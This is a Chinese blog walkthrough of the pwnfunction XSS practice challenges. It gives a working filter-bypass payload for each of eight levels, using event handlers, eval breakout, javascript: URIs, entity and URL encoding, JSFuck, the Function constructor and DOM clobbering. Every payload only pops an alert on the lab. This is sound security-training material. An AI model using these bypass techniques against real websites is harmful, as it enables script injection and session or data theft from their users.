网络安全之xss靶场练习

news2024/11/15 18:01:31

目录

一、xss靶场练习

1、Ma Spaghet!

2、Jefff

第一个方法

第二个方法

3、Ugandan Knuckles

4、Ricardo Milos

5、Ah That's Hawt

6、Ligma

7、Mafia​编辑

8、Ok, Boomer


一、xss靶场练习

靶场地址

https://xss.pwnfunction.com/

 页面显示如下

1、Ma Spaghet!

分析源码

从上面可以看出,我们的url中需要有somebody这样一个参数,如果有就get获取它,如果没有,默认值为somebody后面连接一个字符串,这里需要对innerHtml有一个比较清楚的认识。

<script>alert(1)</script>

发现没有弹窗,为什么呢?于是在官方文档查看

原因:不同点在innerHTML,所以发现该函数存在安全问题,该函数里的script不会被html5执行,所以我们用img标签来绕过

<img src=1 onerror=alert(1337)>

成功了

2、Jefff

我们直接分析上述代码,和上一个游戏一样,还是有一个jeff参数,但是这次多了一个eval函数,这个函数究竟起到什么作用了呢,我们依然看官方文档。


eval会把字符串当成javascript代码执行,所以我们尝试用以下alert(1337)

eval只会接一个参数,但会分情况,如果第二个参数是字符串,则eval只会接受一个参数,如果第二个参数是函数,eval则会接受该函数并执行

第一个方法

jeff=1";alert(1337);//

第二个方法

使用连接符

jeff="-alert(1)-"

3、Ugandan Knuckles

分析源码,发现我们的传参在input当中,而且还没有过滤双引号,那我可以尝试闭合双引号,逃逸出来,做我们想做的事情,我们使用onclick来实现这一关的需求,但是由于题目有不能交互这样的限制,那么我们就不可以使用onclick,毕竟这一关过滤了<>,但是我想到了input有着焦点的功能,那我们使用onfocus+autofocus来实现

?wey=aaa" οnfοcus=alert(1337) autofocus="

4、Ricardo Milos

查看源码后发现,这一关有action,而在action中可以使用伪协议,同时这一关会在进入页面后两秒钟自动提交,那就简单了

?ricardo=javascript:alert(1337)

5、Ah That's Hawt

这里我们有一个清晰的sink will.innerHTML,但由于过滤器删除了()`字符,因此无法调用alert(1337)。但是过滤器忘记了考虑属性的值可以是HTML实体编码的,因此我们只是对有效载荷进行编码。此外,我们对有效载荷进行URL编码,因为它有一些URL不安全的字符,如&。

通过分析代码,我们发现这一关有正则表达式,过滤了()`\并且是全局过滤,这样一来,不能使用()就对弹窗很不利,那么我首先想到的办法就是编码,利用编码进行二次解析进行绕过

原语句 <svg onload="alert(1337)">
实体编码 <svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">
url编码 %3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

最终payload

?markassbrownlee=%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6、Ligma

看完这一关后的源码后,发现过滤了大A到大Z,小A到小Z,0-9,那这时候我们也不能使用编码,我想到了使用jsfuck网站加密,那这样无法被url解析,我们需要改为urlcode编码方式

原输入 alert(1337)
JSFuck加密 [][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])(!+[]+!![]+!![]+!![]+!![]+!![]))[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])(!+[]+!![])([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])(!+[]+!![]+!![]+!![]+!![]+!![]))[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])(!+[]+!![]+!![]+!![]+!![]+!![]+!![])(([]+{})[+[]])[+[]]+(!+[]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]))+(+!![]+[])+(!+[]+!![]+!![]+[])+(!+[]+!![]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]+{})[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]])(!+[]+!![]+!![]+!![]+!![]+!![]))[!+[]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]])(!+[]+!![])([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!+[]+!![]]+([]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D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()

7、Mafia

绕过方法
定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
利用数字和字符串之间的互相转换,来绕过针对alert的检测。
在URL地址后面加上#${payload},然后通过location.hash.slice(1)来获取payload,也能做到绕过检测。

分析源码明显可以看出,这一关过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,这样的一个正则,同时也限制了一个长度“截取长度50的字符串”
最常用的三个函数,alert、prompt、confirm,三个函数都能实现弹窗 alert被限制

?mafia=prompt(1337)

?mafia=confirm(1337)

很明显,我们的这两个弹窗函数可以完美的绕过他这个正则,但如果这两个函数都被过滤了呢,

如果都过滤了那我们就使用Function构造函数

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

8、Ok, Boomer

发现这个题目使用了DOMPurify这个第三方库来过滤非法字符

通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify,DOMPurify防御用户输入框架,会把你的危险属性过滤完了,而这个过滤框架由安全团队cure53开发,以我们的技术很难绕过。但是注意setTimeout函数内的ok参数这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏

查看页面源代码,我们发现突破口在setTimeout(ok,2000)

?boomer=<a id=ok href=tel:alert(1337)>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2050149.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

旧版Pycharm支持的python版本记录

版权声明&#xff1a;本文为博主原创文章&#xff0c;如需转载请贴上原博文链接&#xff1a;旧版Pycharm支持的python版本记录-CSDN博客 前言&#xff1a;近期由于打算研究GitHub上一个开源量化交易平台开发框架&#xff0c;但是该框架是基于python3.10的版本开发&#xff0c;所…

海康VisionMaster使用学习笔记5-开机自启动

开机自启动 在实际应用中&#xff0c;用户会希望机台上电开机后&#xff0c;软件能自启动避免现场人员误操作&#xff0c;减少机台重新上电时的操作步骤以提升效率。 设置 打开VM,点击设置,软件设置->开机自启动->勾选开机自启动->确定 默认运行界面 启动时以设定的…

MapReduce原理和操作

目录 一、MapReduce开发1. 数据处理的过程&#xff08;MapReduce&#xff09;2. 入门案例 二、MapReduce的高级特性1. 序列化2. 排序3. 分区4. Combiner——合并5. Shuffle——洗牌 一、MapReduce开发 1. 数据处理的过程&#xff08;MapReduce&#xff09; 注意 JobMapReduce&…

不同操作系统中如何搭建RabbitMQ开发环境?

大家好&#xff0c;我是袁庭新。今天介绍在不同操作系统中如何搭建RabbitMQ开发环境&#xff1f; 在使用RabbitMQ之前必须预先安装配置&#xff0c;参考RabbitMQ官网说明&#xff0c;RabbitMQ支持多平台安装&#xff0c;例如Linux、Windows、macOS、Docker等。不同架构的芯片对…

通过电影之镜,探索美的无限可能

通过电影之镜&#xff0c;探索美的无限可能&#xff1a;以《至爱梵高星空之谜》、《阳光灿烂的日子》与《这个杀手不太冷》为例 在光影交错的世界里&#xff0c;电影不仅是故事的讲述者&#xff0c;更是审美的引领者。三部风格迥异却同样引人入胜的电影——《至爱梵高星空之谜…

SSM学生社团管理系统—计算机毕业设计源码无偿分享20360

目 录 摘要 1 绪论 1.1 研究背景 1.2 研究意义 1.3论文结构与章节安排 2 学生社团管理系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据增加流程 2.2.2 数据修改流程 2.2.3 数据删除流程 2.3 系统功能分析 2.3.1 功能性分析 2.3.2 非功能性分析 2.4 系…

海康VisionMaster使用学习笔记8-OKNG计数方案

OKNG计数方案 1. 添加图像源 2. 添加圆弧边缘缺陷检测 基本参数 自行绘制ROI,在图像上拖动小圆,圈住被测物 运行参数 边缘类型:选择最强边缘极性:由黑到白 缺陷距离阈值: 10 结果显示 为方便查看,文本显示内容设置为:检测结果:{} 光标移动到{}中间,选择模块状态 执行结果…

DeepSeek开源数学大模型,高中、大学定理证明新SOTA

DeepSeek-Prover-V1.5 通过结合强化学习和蒙特卡洛树搜索&#xff0c;显著提升了证明生成的效率和准确性。 AI 技术与数学发现的进展&#xff0c;正前所未有地交织在一起。 前段时间&#xff0c;著名数学家陶哲轩在牛津数学公开讲座中做了主题为「AI 在科学和数学中的潜力」的主…

利用modelscope下载模型

1. modelscope的简介 ModelScope作为一个先进的“模型即服务”(MaaS)平台&#xff0c;它的核心在于汇聚人工智能领域的尖端模型&#xff0c;降低了在现实世界应用这些前沿技术的门槛。该平台通过ModelScope库展现了其强大功能&#xff0c;这一库专为简化开发者体验而设计&…

CyberLink PowerDVD v23.0解锁版下载和安装教程 (专业蓝光影音播器)

前言 CyberLink PowerDVD 是一款全球专业蓝光影音播放软件&#xff0c;新版全新64位播放引擎&#xff0c;改进了8K超清视频播放、更高分辨率高清视频处理&#xff0c;同时4K视频后期处理还新增了色彩校正、对比度增强、HDR等。另外&#xff0c;新版支持HEIC/HEIF图像格式&…

【vue3动画】基于侦听器的动画

今天没事翻Vue3文档的时候看见一个不错的动画效果&#xff0c;做个记录&#xff0c;以后可能会用到 Vue3文档–基于侦听器的动画效果 //代码 import { ref, reactive, watch } from vue import gsap from gsap const number ref(0) const tweened reactive({number: 0 }) …

实验室、办公室管理系统-计算机毕设Java|springboot实战项目

&#x1f34a;作者&#xff1a;计算机毕设残哥 &#x1f34a;简介&#xff1a;毕业后就一直专业从事计算机软件程序开发&#xff0c;至今也有8年工作经验。擅长Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等。 擅长&#xff1a;按照需求定制化开发项目、 源…

利用亚马逊云科技Bedrock和LangChain开发AI驱动数据分析平台

项目简介&#xff1a; 小李哥将继续每天介绍一个基于亚马逊云科技AWS云计算平台的全球前沿AI技术解决方案&#xff0c;帮助大家快速了解国际上最热门的云计算平台亚马逊云科技AWS AI最佳实践&#xff0c;并应用到自己的日常工作里。 本次介绍的是如何在亚马逊云科技上SageMak…

【Qt】QWidget的styleSheet属性

QWidget的styleSheet属性 通过CSS设置widget的样式。 样式具体描述了界面具体是什么样子的。 CSS (Cascading Style Sheets 层叠样式表) 在进行网页开发的时候&#xff0c;设置网页样式的方式。本⾝属于⽹⻚前端技术. 主要就是⽤来描述界⾯的样式。CSS已经发展多年&#xff0c…

10 个 C# 关键字和功能

在 Stack Overflow 调查中&#xff0c;C# 语言是排名第 5 位的编程语言。它广泛用于创建各种应用程序&#xff0c;范围从桌面到移动设备再到云原生。由于有如此多的语言关键字和功能&#xff0c;对于开发人员来说&#xff0c;要跟上新功能发布的最新信息将是一项艰巨的任务。本…

PYQT实现上传图片,保存图片

代码如下 from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5.QtCore import * import sysclass MyWindow(QMainWindow):def __init__(self):super(MyWindow, self).__init__()self.setWindowTitle("图片处理")self.setGeometry(200, 200, 500, …

Unity的物理系统

目录 3D 物理系统 主要组件 2D 物理系统 主要组件 物理引擎的选择与应用 物理模拟的控制与优化 Unity中Nvidia PhysX引擎与Box2D引擎在性能和功能上的具体比较是什么&#xff1f; 如何在Unity项目中实现Havok物理引擎&#xff0c;并与PhysX或Box2D引擎结合使用&#xf…

C/C++跳动的爱心代码

系列文章 序号直达链接1C/C爱心代码2C/C跳动的爱心3C/C李峋同款跳动的爱心代码4C/C满屏飘字表白代码5C/C大雪纷飞代码6C/C烟花代码7C/C黑客帝国同款字母雨8C/C樱花树代码9C/C奥特曼代码10C/C圣诞树代码 写在前面 C语言实现简单版的跳动的红色爱心。 语言需求&#xff1a;C语…

pdf翻译成中文的工具有哪些?pdf翻译商务学习两不误

在全球化日益加深的今天&#xff0c;pdf文档的国际交流愈发频繁&#xff0c;但语言障碍却常常让人头疼。 别担心&#xff0c;寻找一款可靠的pdf翻译成中文在线软件&#xff0c;已成为解决这一难题的关键。 今天&#xff0c;就让我们一起探索五款强大的pdf翻译器&#xff0c;它…

二叉搜索树的遍历方法

前序遍历 访问顺序 根子树->左子树->右子树 首先访问根节点&#xff0c;然后递归的前序遍历左子树&#xff0c;最后递归的前序遍历右子树 void preOrder(TreeNode* node) { if (node nullptr) return; cout << node->val << ; // 访问根节点 pre…